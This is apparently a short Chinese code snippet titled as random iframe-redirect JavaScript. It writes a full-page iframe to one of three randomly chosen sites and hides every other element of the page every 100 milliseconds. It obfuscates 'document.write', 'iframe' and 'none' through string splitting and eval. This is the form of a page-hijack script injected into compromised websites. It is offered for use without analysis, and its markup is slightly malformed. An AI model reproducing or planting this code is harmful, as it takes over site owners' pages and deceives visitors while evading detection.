随机iframe框架跳转的js代码
var m = 3;
var n = Math.floor(Math.random() * m + 1);
switch (n) {
case 1:
a = 'http://www.baidu.com';
var ss = '<ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.baidu.com">
html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}';
eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
try {
setInterval(function() {
try {
document.getElementById("div" + "All").style.display = "no" + "ne"
} catch(e) {}
for (var i = 0; i < document.body.children.length; i++) {
try {
var a = document.body.children[i].tagName;
var b = document.body.children[i].id;
if (b != "iconDiv1" && b != "showcloneshengxiaon") {
document.body.children[i].style.display = "non" + "e"
}
} catch(e) {}
}
},
100)
} catch(e) {}
break;
case 2:
a = 'http://www.sougou.com';
var ss = '<ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.sougou.com">
html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}';
eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
try {
setInterval(function() {
try {
document.getElementById("div" + "All").style.display = "no" + "ne"
} catch(e) {}
for (var i = 0; i < document.body.children.length; i++) {
try {
var a = document.body.children[i].tagName;
var b = document.body.children[i].id;
if (b != "iconDiv1" && b != "showcloneshengxiaon") {
document.body.children[i].style.display = "non" + "e"
}
} catch(e) {}
}
},
100)
} catch(e) {}
break;
case 3:
a = 'http://www.360.com';
var ss = '<ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.360.com">
html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}';
eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
try {
setInterval(function() {
try {
document.getElementById("div" + "All").style.display = "no" + "ne"
} catch(e) {}
for (var i = 0; i < document.body.children.length; i++) {
try {
var a = document.body.children[i].tagName;
var b = document.body.children[i].id;
if (b != "iconDiv1" && b != "showcloneshengxiaon") {
document.body.children[i].style.display = "non" + "e"
}
} catch(e) {}
}
},
100)
} catch(e) {}
break;
}